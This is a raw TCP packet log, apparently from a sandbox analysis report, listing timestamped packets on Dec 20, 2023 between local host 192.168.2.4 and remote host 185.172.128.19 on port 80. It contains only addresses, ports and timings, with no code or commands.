Dec 20, 2023 15:35:02.715009928 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715039015 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715054035 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715073109 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715085030 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715087891 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715104103 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715116024 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715120077 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715152979 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715167999 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715317965 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715339899 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715380907 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715415001 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715439081 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715452909 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715477943 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715477943 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715501070 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715521097 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715522051 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715543032 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715558052 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715563059 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715584993 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715599060 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715603113 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715641022 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715650082 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715665102 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715677023 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715699911 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715702057 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715718031 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715737104 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715740919 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715774059 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715775967 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715792894 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715861082 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715862036 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715884924 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715898991 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715924978 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715935946 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715954065 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715970993 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.715976000 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.715989113 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.716013908 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.716048956 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.716068983 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.716082096 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.716093063 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.716119051 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:02.716134071 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.716152906 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:02.716187954 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.023946047 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.023972988 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024038076 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.024084091 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024157047 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024200916 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.024228096 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024264097 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024303913 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.024324894 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024383068 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024425983 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.024476051 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024529934 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024569988 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.024581909 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024648905 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024704933 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.024724007 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024765015 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024805069 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.024832964 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024888992 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.024935961 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.024972916 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.025074005 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.025119066 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.025165081 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.025213957 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.025257111 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.025285006 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.025341988 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.025393009 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.025423050 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.025477886 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.025527954 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.025845051 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026051044 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026099920 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.026132107 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026215076 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026254892 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.026315928 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026402950 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026448965 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.026473999 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026510954 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026552916 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.026618958 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026715040 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026758909 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026786089 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.026860952 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.026906013 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.027112961 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027194977 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027242899 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.027251005 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027306080 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027348995 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027354002 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.027400970 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027447939 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.027468920 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027530909 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027575970 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.027626991 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027731895 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027771950 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027779102 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.027825117 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027863979 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.027916908 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.027951956 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028003931 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.028033018 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028105974 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028152943 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.028168917 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028214931 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028259993 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.028284073 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028410912 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028455973 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.028501987 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028603077 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028645992 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028649092 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.028711081 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028767109 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.028798103 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028883934 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.028927088 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.028947115 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029005051 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029047966 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.029107094 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029171944 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029222965 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.029242992 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029319048 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029366016 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.029392958 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029454947 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029495955 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.029524088 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029577017 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029623032 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.029685974 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029748917 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029793024 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.029823065 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029872894 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.029918909 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.029927969 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.030029058 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.030070066 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.030076981 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.030169964 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.030216932 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.326754093 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.326775074 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.326806068 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.326826096 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.326847076 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.326884031 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.326895952 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.326942921 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.326961040 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.326987982 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.327053070 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327068090 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327102900 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.327125072 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327142000 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327159882 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327173948 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.327181101 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327198982 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327203989 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.327253103 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.327379942 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327400923 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327445984 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327451944 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.327461004 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.327501059 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.328213930 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328237057 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328286886 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.328370094 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328460932 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328480005 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328502893 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328516006 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.328541994 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.328556061 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328573942 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328593969 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328617096 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328618050 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.328655958 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.328716040 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328799963 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328846931 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.328855038 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328869104 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328888893 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328907967 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.328908920 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328929901 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328946114 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.328948975 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328969002 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.328994036 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.329114914 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.329159975 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.329199076 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.329220057 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.329237938 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.329252005 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.329263926 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.329263926 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.329278946 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.329279900 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.329314947 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.332832098 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.332851887 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.332865953 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.332906008 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.333211899 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.333267927 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.337145090 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.337162971 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.337210894 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.337214947 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.337285042 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.337325096 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.337490082 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.337541103 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.337596893 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.337625980 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.337755919 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.337805986 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.338283062 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.338309050 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.338337898 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.338357925 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.338363886 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.338397026 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.338512897 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.338527918 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.338576078 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.338973045 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.339018106 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.339071989 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.340560913 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.340874910 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.340889931 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.340920925 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.340955973 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.340995073 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.341187000 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.341229916 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.341276884 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.342477083 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.342516899 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.342567921 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.342760086 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.342816114 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.342864990 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.342885971 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.344835043 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.344885111 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.346546888 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.346568108 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.346585989 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.346611023 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.346659899 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.346726894 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.346945047 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.346963882 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.346982002 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.347012043 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.347059011 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.347101927 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.347362041 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.347381115 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.347424984 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.347455025 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.347481966 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.347496033 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.347507954 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.347526073 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.347543955 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.348237038 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.349287033 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.349337101 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.349421978 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.349467039 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.349519968 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.349581957 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.349595070 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.349642992 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.352458954 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.352494001 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.352545977 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.352561951 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.352581024 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.352627039 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.352773905 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.352912903 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.352967978 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.352982044 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.353044987 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.353094101 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.353843927 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.353879929 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.353899002 CET	80	49734	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:03.353925943 CET	49734	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:03.353961945 CET	80	49734	185.172.128.19	192.168.2.4
